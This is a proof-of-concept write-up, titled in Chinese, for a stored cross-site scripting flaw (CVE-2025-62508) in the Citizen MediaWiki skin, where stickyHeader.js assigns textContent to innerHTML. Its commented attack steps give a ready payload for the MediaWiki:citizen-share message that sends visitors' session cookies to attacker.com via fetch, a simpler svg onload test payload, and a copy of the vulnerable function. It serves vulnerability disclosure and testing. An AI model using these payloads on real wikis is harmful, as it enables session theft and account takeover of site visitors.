CVE-2025-62508：Citizen MediaWiki皮肤存储型XSS漏洞

<!-- PoC for CVE-2025-62508 - Citizen MediaWiki Skin Stored XSS Vulnerability: innerHTML assigned from textContent in copyButtonAttributes function Affected file: stickyHeader.js Affected messages: citizen-share, citizen-view-history, citizen-view-edit, nstab-talk --> // Step 1: Attacker with editinterface permission edits MediaWiki system message // For example, edit the page: MediaWiki:citizen-share // Set the content to a malicious payload that will be HTML-escaped upon saving // but interpreted as HTML when rendered via innerHTML // Example malicious content for MediaWiki:citizen-share: // <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> // When MediaWiki saves this, it HTML-escapes the content to: // &lt;img src=x onerror=&quot;fetch('https://attacker.com/steal?cookie='+document.cookie)&quot;&gt; // Step 2: The vulnerable code in stickyHeader.js executes: function copyButtonAttributes(sourceElement, targetElement) { // Vulnerable line: textContent returns decoded HTML entities const labelText = sourceElement.textContent; // innerHTML interprets the decoded content as HTML targetElement.innerHTML = labelText; } // Step 3: When any user visits a page with Citizen skin, // the sticky header renders the button with the malicious script // The browser parses the innerHTML content as actual HTML, // triggering the onerror event handler // Step 4: The attacker's server receives the victim's session cookie // or performs other malicious actions // Verification PoC (simpler test payload): // Set MediaWiki:citizen-share to: <svg onload=alert(document.domain)> // After saving (HTML-escaped): &lt;svg onload=alert(document.domain)&gt; // When rendered in sticky header: alert(document.domain) executes